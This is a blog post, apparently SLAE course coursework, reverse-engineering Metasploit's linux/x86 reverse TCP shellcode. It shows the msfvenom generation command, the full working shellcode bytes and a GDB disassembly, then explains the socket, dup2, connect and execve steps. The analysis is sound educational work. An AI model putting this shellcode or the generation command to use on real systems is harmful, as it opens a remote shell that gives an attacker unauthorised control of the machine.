Reversing Linux Reverse TCP Shellcode

Hi! I finished my first SLAE assignment and have to start the next one. I think that reverse engineering based approach gives a results, so, I decided to research msfvenom-generated linux/x86/shellcode_reverse_tcp first.

Reverse TCP Shellcode

Ok, let’s start. I generated the payload with the next line:

root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=8.8.8.8 -f python

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 342 bytes
buf =  ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x08"
buf += "\x08\x08\x08\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

If you read my first article about shellcode reverse engineering, you know my methodology. Execute with custom C-program, break with “\xCC” and so on.

Disassembling

Here is GDB disassembly:

gdb-peda$ disassemble 
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	int3   
=> 0x0804a041 <+1>:	xor    ebx,ebx
   0x0804a043 <+3>:	mul    ebx
   0x0804a045 <+5>:	push   ebx
   0x0804a046 <+6>:	inc    ebx
   0x0804a047 <+7>:	push   ebx
   0x0804a048 <+8>:	push   0x2
   0x0804a04a <+10>:	mov    ecx,esp
   0x0804a04c <+12>:	mov    al,0x66
   0x0804a04e <+14>:	int    0x80
   0x0804a050 <+16>:	xchg   ebx,eax
   0x0804a051 <+17>:	pop    ecx
   0x0804a052 <+18>:	mov    al,0x3f
   0x0804a054 <+20>:	int    0x80
   0x0804a056 <+22>:	dec    ecx
   0x0804a057 <+23>:	jns    0x804a052 <shellcode+18>
   0x0804a059 <+25>:	push   0x8080808
   0x0804a05e <+30>:	push   0x5c110002
   0x0804a063 <+35>:	mov    ecx,esp
   0x0804a065 <+37>:	mov    al,0x66
   0x0804a067 <+39>:	push   eax
   0x0804a068 <+40>:	push   ecx
   0x0804a069 <+41>:	push   ebx
   0x0804a06a <+42>:	mov    bl,0x3
   0x0804a06c <+44>:	mov    ecx,esp
   0x0804a06e <+46>:	int    0x80
   0x0804a070 <+48>:	push   edx
   0x0804a071 <+49>:	push   0x68732f6e
   0x0804a076 <+54>:	push   0x69622f2f
   0x0804a07b <+59>:	mov    ebx,esp
   0x0804a07d <+61>:	push   edx
   0x0804a07e <+62>:	push   ebx
   0x0804a07f <+63>:	mov    ecx,esp
   0x0804a081 <+65>:	mov    al,0xb
   0x0804a083 <+67>:	int    0x80
   0x0804a085 <+69>:	add    BYTE PTR [eax],al

Well, looks different with msfvenom-generated linux/x86/shellcode_bind_tcp shellcode.

Let’s enumerate all system calls in this code:

This shellcode is even simpler than Bind TCP! Only 4 parts instead of 6. Well, I don’t really think that this is necessary to break it into four parts and discuss them one by one, but let’s do this.

The First Part

Disassembly:

   0x0804a041 <+1>:	xor    ebx,ebx
   0x0804a043 <+3>:	mul    ebx
   0x0804a045 <+5>:	push   ebx
   0x0804a046 <+6>:	inc    ebx
   0x0804a047 <+7>:	push   ebx
   0x0804a048 <+8>:	push   0x2
   0x0804a04a <+10>:	mov    ecx,esp
   0x0804a04c <+12>:	mov    al,0x66
=> 0x0804a04e <+14>:	int    0x80

Let’s rewrite it in readable form:

push 0x00
push 0x01
push 0x02

mov eax, 0x66
mov ebx, 0x01
mov ecx, esp

int 0x80
mov ebx, eax

The same code we have been seeing in previous part. Both shellcode_bind_tcp and shellcode_reverse_tcp use the same code for Socket initialization. 0x00, 0x01, 0x02 are the protocol, type and domain - all three parameters we need to perform SYS_SOCKET call (check ‘man socket’ to read more).

Last mov ebx, eax instruction just places socket desctiptor to EBX register.

The Second Part

Disassembly:

   0x0804a051 <+17>:	pop    ecx
   0x0804a052 <+18>:	mov    al,0x3f
=> 0x0804a054 <+20>:	int    0x80
   0x0804a056 <+22>:	dec    ecx
   0x0804a057 <+23>:	jns    0x804a052 <shellcode+18>

I just don’t want to rewrite it :D

EBX stores our socket descriptor, so, this part just redirects STDIN, STDOUT and STDERR streams to our socket with SYS_DUP2 calls.

First pop ecx instructions makes ECX equals 0x02 (STDERR file descriptor), dec ecx decrements it after SYS_DUP2 call (makes ECX equals 0x01 (STDOUT) and 0x01 (STDIN)) - that makes all these standart I/O streams work with our socket.

Easy peasy.

The Third Part

Disassembly:

   0x0804a059 <+25>:	push   0x8080808
   0x0804a05e <+30>:	push   0x5c110002
   0x0804a063 <+35>:	mov    ecx,esp
   0x0804a065 <+37>:	mov    al,0x66
   0x0804a067 <+39>:	push   eax
   0x0804a068 <+40>:	push   ecx
   0x0804a069 <+41>:	push   ebx
   0x0804a06a <+42>:	mov    bl,0x3
   0x0804a06c <+44>:	mov    ecx,esp
=> 0x0804a06e <+46>:	int    0x80

Well, EBX equals 0x03 and EAX equals 0x66 and in general that gives us SYS_CONNECT socketcall. Check the connect() declaration again:

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

You now should be familiar with ‘sockaddr_in’ structure. These instructions place its value into the stack and return a pointer (addr) in ECX register:

   0x0804a059 <+25>:    push   0x8080808
   0x0804a05e <+30>:    push   0x5c110002
   0x0804a063 <+35>:    mov    ecx,esp

Nothing new here:

All next lines load connect() arguments into the Stack and execute SYS_CONNECT.

The Fourth Part

Disassembly:

   0x0804a071 <+49>:	push   0x68732f6e
   0x0804a076 <+54>:	push   0x69622f2f
   0x0804a07b <+59>:	mov    ebx,esp
   0x0804a07d <+61>:	push   edx
   0x0804a07e <+62>:	push   ebx
   0x0804a07f <+63>:	mov    ecx,esp
   0x0804a081 <+65>:	mov    al,0xb
=> 0x0804a083 <+67>:	int    0x80

Nothing to be familiar with? :D

Look at the last part of shellcode_bind_tcp! Again, the same part we have seen in previous shellcode. This executes SYS_EXECVE and runs ‘/bin//sh’.

Actually, that is all. Linux/x86/shellcode_reverse_tcp creates socket, redirects all standart streams to socket’s file descriptor, connects to the remote machine with given IP and Port and executes ‘/bin/sh’ interpreter.

Conclusion

How you can see, the shellcode_reverse_tcp requires 4 steps instead of 6 in shellcode_bind_tcp. It was a great surprize for me, because, from my point of view, functionality of shellcode_reverse_tcp is a bit complicated than shellcode_bind_tcp.

Soon, I will write my own reverse tcp shellcode for Linux x86 as a next assignment of SLAE course. Also, one of assigments requires reverse engineering of three additional metasploit payloads. So, if you are read this stuff and interesting in what I am doing here, keep in touch.

Good Luck!

The end

comments powered by Disqus